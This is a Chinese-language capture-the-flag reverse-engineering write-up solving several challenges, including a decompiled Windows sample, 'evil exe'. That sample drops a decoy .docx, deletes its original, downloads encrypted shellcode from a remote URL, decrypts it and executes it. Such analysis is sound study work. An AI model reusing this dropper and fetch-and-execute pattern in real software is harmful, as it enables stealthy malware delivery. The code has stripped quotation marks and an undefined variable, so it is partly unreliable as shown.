最後用 python 寫個腳本解密就可以得到 flag
from base64 import b64decode
from Crypto.Cipher import AES
key = b pctf2016pctf2016pctf2016pctf2016
cipher = x/nzolo0TTIyrEISd4AP1spCzlhSWJXeNbY81SjPgmk=
ciphDec = b64decode ( cipher )
aes = AES . new ( key , AES . MODE_ECB )
print ( aes . decrypt ( ciphDec ))
pctf findkey
本程序是由 python 編譯而來,所以藉助 uncompyle6 可以還原出程序。這裡進行了簡單處理讓本程序和 python3 兼容。
# uncompyle6.exe -o . .findkey.pyo
# uncompyle6 version 3.2.5
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 17:00:18) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: findkey
# Compiled at: 2016-04-30 17:54:18
import sys
lookup = [ 196 , 153 , 149 , 206 , 17 , 221 , 10 , 217 , 167 , 18 ,
36 , 135 , 103 , 61 , 111 , 31 , 92 , 152 , 21 , 228 , 105 , 191 , 173 ,
41 , 2 , 245 , 23 , 144 , 1 , 246 , 89 , 178 , 182 , 119 , 38 , 85 ,
48 , 226 , 165 , 241 , 166 , 214 , 71 , 90 , 151 , 3 , 109 , 169 ,
150 , 224 , 69 , 156 , 158 , 57 , 181 , 29 , 200 , 37 , 51 , 252 ,
227 , 93 , 65 , 82 , 66 , 80 , 170 , 77 , 49 , 177 , 81 , 94 ,
202 , 107 , 25 , 73 , 148 , 98 , 129 , 231 , 212 , 14 , 84 ,
121 , 174 , 171 , 64 , 180 , 233 , 74 , 140 , 242 , 75 , 104 ,
253 , 44 , 39 , 87 , 86 , 27 , 68 , 22 , 55 , 76 , 35 , 248 ,
96 , 5 , 56 , 20 , 161 , 213 , 238 , 220 , 72 , 100 , 247 ,
8 , 63 , 249 , 145 , 243 , 155 , 222 , 122 , 32 , 43 , 186 ,
0 , 102 ,
216 , 126 , 15 , 42 , 115 , 138 , 240 , 147 , 229 , 204 , 117 ,
223 , 141 , 159 , 131 , 232 , 124 , 254 , 60 , 116 , 46 , 113 ,
79 , 16 , 128 , 6 , 251 , 40 , 205 , 137 , 199 , 83 , 54 , 188 ,
19 , 184 , 201 , 110 , 255 , 26 , 91 , 211 , 132 , 160 , 168 ,
154 , 185 , 183 , 244 , 78 , 33 , 123 , 28 , 59 , 12 , 210 ,
218 , 47 , 163 , 215 , 209 , 108 , 235 , 237 , 118 , 101 ,
24 , 234 , 106 , 143 , 88 , 9 , 136 , 95 , 30 , 193 , 176 ,
225 , 198 , 197 , 194 , 239 , 134 , 162 , 192 , 11 , 70 ,
58 , 187 , 50 , 67 , 236 , 230 , 13 , 99 , 190 , 208 , 207 ,
7 , 53 , 219 , 203 , 62 , 114 , 127 , 125 , 164 , 179 ,
175 , 112 , 172 , 250 , 133 , 130 , 52 , 189 , 97 , 146 ,
34 , 157 , 120 , 195 , 45 , 4 , 142 , 139 ]
pwda = [ 188 , 155 , 11 , 58 , 251 , 208 , 204 , 202 ,
150 , 120 , 206 , 237 , 114 , 92 , 126 , 6 , 42 ]
pwdb = [ 53 , 222 , 230 , 35 , 67 , 248 , 226 , 216 ,
17 , 209 , 32 , 2 , 181 , 200 , 171 , 60 , 108 ]
flag = input ( Input your Key: ) . strip ()
if len ( flag ) != 17 :
print ( Wrong Key!! )
sys . exit ( 1 )
flag = flag [:: - 1 ]
for i in range ( 0 , len ( flag )):
if ord ( flag [ i ]) + pwda [ i ] & 255 != lookup [ i + pwdb [ i ]]:
print ( Wrong Key!! )
sys . exit ( 1 )
print ( Congratulations!! )
基本邏輯是獲得用戶輸入,然後進行反轉,再然後根據幾個表進行查詢,將查詢結果和用戶輸入進行比對。
lookup = [ 196 , 153 , 149 , 206 , 17 , 221 , 10 , 217 , 167 , 18 ,
36 , 135 , 103 , 61 , 111 , 31 , 92 , 152 , 21 , 228 , 105 , 191 , 173 ,
41 , 2 , 245 , 23 , 144 , 1 , 246 , 89 , 178 , 182 , 119 , 38 , 85 ,
48 , 226 , 165 , 241 , 166 , 214 , 71 , 90 , 151 , 3 , 109 , 169 ,
150 , 224 , 69 , 156 , 158 , 57 , 181 , 29 , 200 , 37 , 51 , 252 ,
227 , 93 , 65 , 82 , 66 , 80 , 170 , 77 , 49 , 177 , 81 , 94 ,
202 , 107 , 25 , 73 , 148 , 98 , 129 , 231 , 212 , 14 , 84 ,
121 , 174 , 171 , 64 , 180 , 233 , 74 , 140 , 242 , 75 , 104 ,
253 , 44 , 39 , 87 , 86 , 27 , 68 , 22 , 55 , 76 , 35 , 248 ,
96 , 5 , 56 , 20 , 161 , 213 , 238 , 220 , 72 , 100 , 247 ,
8 , 63 , 249 , 145 , 243 , 155 , 222 , 122 , 32 , 43 , 186 ,
0 , 102 ,
216 , 126 , 15 , 42 , 115 , 138 , 240 , 147 , 229 , 204 , 117 ,
223 , 141 , 159 , 131 , 232 , 124 , 254 , 60 , 116 , 46 , 113 ,
79 , 16 , 128 , 6 , 251 , 40 , 205 , 137 , 199 , 83 , 54 , 188 ,
19 , 184 , 201 , 110 , 255 , 26 , 91 , 211 , 132 , 160 , 168 ,
154 , 185 , 183 , 244 , 78 , 33 , 123 , 28 , 59 , 12 , 210 ,
218 , 47 , 163 , 215 , 209 , 108 , 235 , 237 , 118 , 101 ,
24 , 234 , 106 , 143 , 88 , 9 , 136 , 95 , 30 , 193 , 176 ,
225 , 198 , 197 , 194 , 239 , 134 , 162 , 192 , 11 , 70 ,
58 , 187 , 50 , 67 , 236 , 230 , 13 , 99 , 190 , 208 , 207 ,
7 , 53 , 219 , 203 , 62 , 114 , 127 , 125 , 164 , 179 ,
175 , 112 , 172 , 250 , 133 , 130 , 52 , 189 , 97 , 146 ,
34 , 157 , 120 , 195 , 45 , 4 , 142 , 139 ]
pwda = [ 188 , 155 , 11 , 58 , 251 , 208 , 204 , 202 ,
150 , 120 , 206 , 237 , 114 , 92 , 126 , 6 , 42 ]
pwdb = [ 53 , 222 , 230 , 35 , 67 , 248 , 226 , 216 ,
17 , 209 , 32 , 2 , 181 , 200 , 171 , 60 , 108 ]
flag =
for i in range ( 17 ):
num = lookup [ i + pwdb [ i ]] - pwda [ i ] & 255
flag += chr ( num )
flag = flag [:: - 1 ]
print ( flag )
ddctf 2016 hello
這是一個 mac 下的程序。先塞進 IDA,可以看到 text 段有4個函數,但是在start
中只調用了1個函數...根據彙編我們可以初步判斷0x100000C90
是來賣萌的,而0x100000DE0
是用於反調試的,而0x100000CE0
才是重頭戲。
藉助 F5,我們可以得到程序的基本邏輯。程序先根據兩個函數之間的距離和byte[0]
異或得到j
,然後就是一波解密
int sub_100000CE0 ()
{
int result ; // eax
signed int i ; // [rsp+1Ch] [rbp-14h]
int j ; // [rsp+24h] [rbp-Ch]
j = (( unsigned __int64 )(( char * ) start - ( char * ) sub_100000C90 ) >> 2 ) ^ byte_100001040 [ 0 ];
result = sub_100000DE0 ();
if ( ! ( result & 1 ) )
{
i = 0 ;
while ( i < 55 )
{
byte_100001040 [ i ] -= 2 ;
byte_100001040 [ i ] ^= j ;
++ i ;
++ j ;
}
result = printf ( "
Final output is %s
" , & byte_100001040 [ 1 ]);
}
return result ;
}
程序邏輯清晰,所以用 python 很容易實現
byteList = [ 0x41 , 0x10 , 0x11 , 0x11 , 0x1B , 0x0A , 0x64 , 0x67 , 0x6A , 0x68 ,
0x62 , 0x68 , 0x6E , 0x67 , 0x68 , 0x6B , 0x62 , 0x3D , 0x65 , 0x6A ,
0x6A , 0x3D , 0x68 , 0x04 , 0x05 , 0x08 , 0x03 , 0x02 , 0x02 , 0x55 ,
0x08 , 0x5D , 0x61 , 0x55 , 0x0A , 0x5F , 0x0D , 0x5D , 0x61 , 0x32 ,
0x17 , 0x1D , 0x19 , 0x1F , 0x18 , 0x20 , 0x04 , 0x02 , 0x12 , 0x16 ,
0x1E , 0x54 , 0x20 , 0x13 , 0x14 , 0x00 , 0x00 ]
startAddr = 0x100000CB0
dummyFuncAddr = 0x100000C90
j = ( startAddr - dummyFuncAddr >> 2 ) ^ byteList [ 0 ]
i = 0
while i < 55 :
byteList [ i ] -= 2
byteList [ i ] ^= j
i += 1
j += 1
for i in range ( 1 , len ( byteList )):
print ( chr ( byteList [ i ]), end = )
ddctf evil exe
這道題火絨竟然沒報毒?@ 火絨安全 出來挨打
先塞進 DIE 里看看,確認是 UPX 殼,但是upx -d
脫不掉,所以上 x32dbg 手動脫殼。
在 EP 附近的pushad
前的pop esi
執行前的 ESP 所指地址下硬體訪問斷點,
然後瘋狂 F9 看到 EIP 到達.bss
段而不是在負責解密數據的.text
段時,就到達 OEP 了,
接下來就是 scylla dump 程序了。
把 dump 出的程序塞入 IDA,在WinMain()
函數找到程序基本邏輯。程序先在rlsRes()
釋放資源,然後在臨時文件夾創建程序備份,並打開".docx"文件,創建新進程啟動自己;在delMyself()
中發現自己是之前創建的進程的話就刪除源程序,最後通過getPics()
從網上獲取加密圖片,再通過decrypt()
函數進行解密得到 shellcode 然後在xor()
中對 shellcode 進行異或並執行
int __stdcall WinMain ( HINSTANCE hInstance , HINSTANCE hPrevInstance , LPSTR lpCmdLine , int nShowCmd )
{
char * buffer ; // ST10_4
int key [ 67 ]; // [esp+4h] [ebp-118h]
size_t dwSize ; // [esp+114h] [ebp-8h]
char * picData ; // [esp+118h] [ebp-4h]
if ( rlsRes ( hInstance ) == 6 )
return 0 ;
delMyself ();
picData = ( char * ) getPics ( & dwSize );
if ( picData )
{
if ( dwSize )
{
buffer = ( char * ) malloc ( dwSize );
geneKey ( key , 0x4A8754F5745174u i64 );
decrypt (( char * ) key , picData , buffer , dwSize );
xor ( buffer , dwSize );
}
free ( picData );
}
return 0 ;
}
在rlsRes()
函數中,先複製程序備份到臨時文件夾,然後從程序中提取資源,釋放到".docx"中,最後啟動在臨時文件夾中的自己,並將當前程序的路徑作為參數傳遞。
int __cdecl rlsRes ( HMODULE hModule )
{
DWORD NumberOfBytesWritten ; // [esp+0h] [ebp-7BCh]
CHAR CommandLine ; // [esp+4h] [ebp-7B8h]
struct _STARTUPINFOA StartupInfo ; // [esp+21Ch] [ebp-5A0h]
char progExtName ; // [esp+264h] [ebp-558h]
LPCVOID lpBuffer ; // [esp+370h] [ebp-44Ch]
char progBaseName ; // [esp+374h] [ebp-448h]
CHAR tempDir ; // [esp+47Ch] [ebp-340h]
HANDLE hFile ; // [esp+588h] [ebp-234h]
struct _PROCESS_INFORMATION ProcessInformation ; // [esp+58Ch] [ebp-230h]
DWORD v11 ; // [esp+59Ch] [ebp-220h]
DWORD nNumberOfBytesToWrite ; // [esp+5A0h] [ebp-21Ch]
CHAR fileFullname ; // [esp+5A4h] [ebp-218h]
CHAR fileDir ; // [esp+6ACh] [ebp-110h]
lpBuffer = 0 ;
nNumberOfBytesToWrite = 0 ;
v11 = GetModuleFileNameA ( hModule , & fileFullname , 0x105u ); // 獲取程序完整路徑
if ( v11 > 0x105 )
return 1 ;
v11 = GetTempPathA ( 0x105u , & tempDir ); // 獲取臨時目錄
if ( v11 > 0x105 )
return 2 ;
_splitpath ( & fileFullname , 0 , & fileDir , & progBaseName , & progExtName ); // 獲取程序路徑,程序的基本文件名,程序的文件擴展名
if ( strstr ( & fileFullname , " \ Temp \ " ) )
return 3 ;
strcat_s ( & tempDir , 0x105u , & progBaseName );
if ( progExtName != . )
strcat_s ( & tempDir , 0x105u , "." );
strcat_s ( & tempDir , 0x105u , & progExtName ); // 拼接出程序在臨時目錄下的名字
CopyFileA ( & fileFullname , & tempDir , 0 ); // 拷貝文件到臨時文件夾
strcat_s ( & fileDir , 0x105u , & progBaseName );
strcat_s ( & fileDir , 0x105u , ".docx" ); // 給程序基本文件名拼接上".docx"
if ( ! getRscs ( 0x65u , ( int ) & lpBuffer , & nNumberOfBytesToWrite ) ) // 釋放資源
return 4 ;
hFile = CreateFileA ( & fileDir , 0x40000000u , 1u , 0 , 2u , 0x80u , 0 );
if ( hFile == ( HANDLE ) - 1 )
return 5 ;
WriteFile ( hFile , lpBuffer , nNumberOfBytesToWrite , & NumberOfBytesWritten , 0 ); // 寫入.docx文件
CloseHandle ( hFile );
sprintf_s ( & CommandLine , 0x218u , "%s " %s " " , & tempDir , & fileFullname ); // 拼接執行自己的命令
memset ( & StartupInfo , 0 , 0x44u );
memset ( & ProcessInformation , 0 , 0x10u );
StartupInfo . cb = 68 ;
CreateProcessA ( 0 , & CommandLine , 0 , 0 , 0 , 0 , 0 , 0 , & StartupInfo , & ProcessInformation ); // 我啟動我自己
ShellExecuteA ( 0 , "open" , & fileDir , 0 , 0 , 1 ); // 打開.docx
return 6 ;
}
在delMyself()
中,檢測參數數量,如果參數數量為2,則刪除參數1指向的文件。和之前的rlsRes()
結合可以知道這是在刪除原本的程序文件。
void delMyself ()
{
const WCHAR * v0 ; // eax
BOOL v1 ; // ST08_4
int pNumArgs ; // [esp+4h] [ebp-8h]
LPWSTR * v3 ; // [esp+8h] [ebp-4h]
v0 = GetCommandLineW ();
v3 = CommandLineToArgvW ( v0 , & pNumArgs );
if ( v3 && pNumArgs == 2 )
{
do
{
v1 = DeleteFileW ( v3 [ 1 ]);
Sleep ( 0x200u );
}
while ( ! v1 );
}
}
getPics()
函數則是從網路中獲得加密文件
void * __cdecl getPics ( unsigned int * a1 )
{
unsigned int v2 ; // [esp+0h] [ebp-18h]
DWORD dwNumberOfBytesRead ; // [esp+4h] [ebp-14h]
BOOL v4 ; // [esp+8h] [ebp-10h]
void * v5 ; // [esp+Ch] [ebp-Ch]
HINTERNET hFile ; // [esp+10h] [ebp-8h]
HINTERNET hInternet ; // [esp+14h] [ebp-4h]
dwNumberOfBytesRead = 0 ;
v2 = 0 ;
hInternet = InternetOpenA ( "DDCTF" , 0 , 0 , 0 , 0 );
hFile = InternetOpenUrlA ( hInternet , "http://www.ddctf.com/x.jpg" , 0 , 0 , 0x4000000u , 0 );
if ( ! hFile )
return 0 ;
v5 = malloc ( 0x100000u );
do
{
v4 = InternetReadFile ( hFile , ( char * ) v5 + v2 , 0x100000 - v2 , & dwNumberOfBytesRead );
if ( ! v4 )
break ;
v2 += dwNumberOfBytesRead ;
if ( ! dwNumberOfBytesRead )
break ;
}
while ( v2 < 0x100000 );
InternetCloseHandle ( hFile );
if ( v2 <= 0x100000 )
{
* a1 = v2 ;
}
else
{
free ( v5 );
v5 = 0 ;
}
return v5 ;
}
geneKey()
函數則是根據 v 來生成密鑰
這個 v2 是來賣萌的嗎
int __cdecl geneKey ( _DWORD * key , unsigned __int64 v )
{
unsigned __int64 v2 ; // rax
char v4 [ 8 ]; // [esp+0h] [ebp-10h]
int i ; // [esp+Ch] [ebp-4h]
LODWORD ( v2 ) = key ;
* key = 0 ;
key [ 1 ] = 0 ;
for ( i = 0 ; i < 8 ; ++ i )
{
v4 [ i ] = v ;
v2 = v >> 8 ;
v >>= 8 ;
}
for ( i = 0 ; i < 256 ; ++ i )
{
* (( _BYTE * ) key + i + 8 ) = i + v4 [ i % 8 ];
LODWORD ( v2 ) = i + 1 ;
}
return v2 ;
}
decrypt()
函數則是在根據密鑰進行解密文件,將 a2 數據進行解密放入 a3 中,得到解密數據,即 shellcode
void __cdecl decrypt ( char * key , char * a2 , char * a3 , unsigned int dwSize )
{
unsigned __int8 v4 ; // ST02_1
unsigned __int8 v5 ; // ST03_1
unsigned int i ; // [esp+4h] [ebp-4h]
for ( i = 0 ; i < dwSize ; ++ i )
{
* ( _DWORD * ) key = ( * ( _DWORD * ) key + 1 ) % 256 ;
* (( _DWORD * ) key + 1 ) = (( unsigned __int8 ) key [ * ( _DWORD * ) key + 8 ] + * (( _DWORD * ) key + 1 )) % 256 ;
v4 = key [ * ( _DWORD * ) key + 8 ];
v5 = key [ * (( _DWORD * ) key + 1 ) + 8 ];
key [ * ( _DWORD * ) key + 8 ] = v5 ;
key [ * (( _DWORD * ) key + 1 ) + 8 ] = v4 ;
a3 [ i ] = key [( v5 + v4 ) % 256 + 8 ] ^ a2 [ i ];
}
}
最後就是再次對 shellcode 進行一遍 xor,然後執行 shellcode
_DWORD * __cdecl xor ( void * a1 , SIZE_T dwSize )
{
_DWORD * result ; // eax
_DWORD * lpAddress ; // [esp+0h] [ebp-8h]
SIZE_T i ; // [esp+4h] [ebp-4h]
result = VirtualAlloc ( 0 , dwSize , 0x1000u , 0x40u );
lpAddress = result ;
if ( result )
{
memcpy ( result , a1 , dwSize );
for ( i = 0 ; i < dwSize ; ++ i )
* (( _BYTE * ) lpAddress + i ) ^= i ;
if ( _time32 ( 0 ) - * lpAddress >= 0 && _time32 ( 0 ) - * lpAddress <= 1800 )
result = ( _DWORD * )(( int ( * )( void ))( lpAddress + 1 ))();
else
result = ( _DWORD * ) VirtualFree ( lpAddress , dwSize , 0x4000u );
}
return result ;
}
梳理好程序流程後我們知道該怎麼還原了。這裡對於加密不是很懂,借鑒了其他大佬的腳本。
import re
def geneKey ( key : list , v : int ):
v4 = [ 0 for i in range ( 8 )]
for i in range ( 8 ):
v4 [ i ] = v
v = v >> 8
for i in range ( 256 ):
key [ i ] = ( i + v4 [ i % 8 ]) % 256
def decrypt ( key : list , data ):
decData = b
j = 0
for count in range ( len ( data )):
i = ( count + 1 ) % 256
j = ( key [ i ] + j ) % 256
key [ i ], key [ j ] = key [ j ], key [ i ]
dec1 = data [ count ] ^ key [( key [ i ] + key [ j ]) % 256 ]
dec2 = ( dec1 ^ count ) % 256
decData += bytes ( dec2 . to_bytes ( 1 , little ))
return decData
if __name__ == "__main__" :
file = open ( F: \ ctfQuestion \ jarvisoj \ reverse \ dd-evil_exe \ x.jpg , rb )
fileData = file . read ()
file . close ()
v = 0x4A8754F5745174
key = [ 0 for i in range ( 256 )]
geneKey ( key , v )
decData = decrypt ( key , fileData )
file = open (
F: \ ctfQuestion \ jarvisoj \ reverse \ dd-evil_exe \ x_dec.jpg , wb )
file . write ( out )
file . close ()
在導出 shellcode 中發現了明文字元串,而每一個明文字元串前都有一個 0x68,hxd 貼心的告訴我們這是在將字元串 push 入棧。
所以我們只要將 0x68 和之後對應字元串用正則篩出來就可以了。對上面 python 腳本的 main 函數進行魔改就可以得到 flag
if __name__ == "__main__" :
file = open ( F: \ ctfQuestion \ jarvisoj \ reverse \ dd-evil_exe \ x.jpg , rb )
fileData = file . read ()
file . close ()
v = 0x4A8754F5745174
key = [ 0 for i in range ( 256 )]
geneKey ( key , v )
decData = decrypt ( key , fileData )
match = re . findall ( b x68 [Ss]{4} , decData )
match = match [:: - 1 ]
for i in match :
try :
print ( i . decode ( ascii )[ 1 :], end = )
except UnicodeDecodeError as e :
print (
holy shit )
refs
https:// blog.csdn.net/whklhhhh/ article/details/78883247 https:// blog.csdn.net/qq1045553 189/article/details/88949363
推薦閱讀: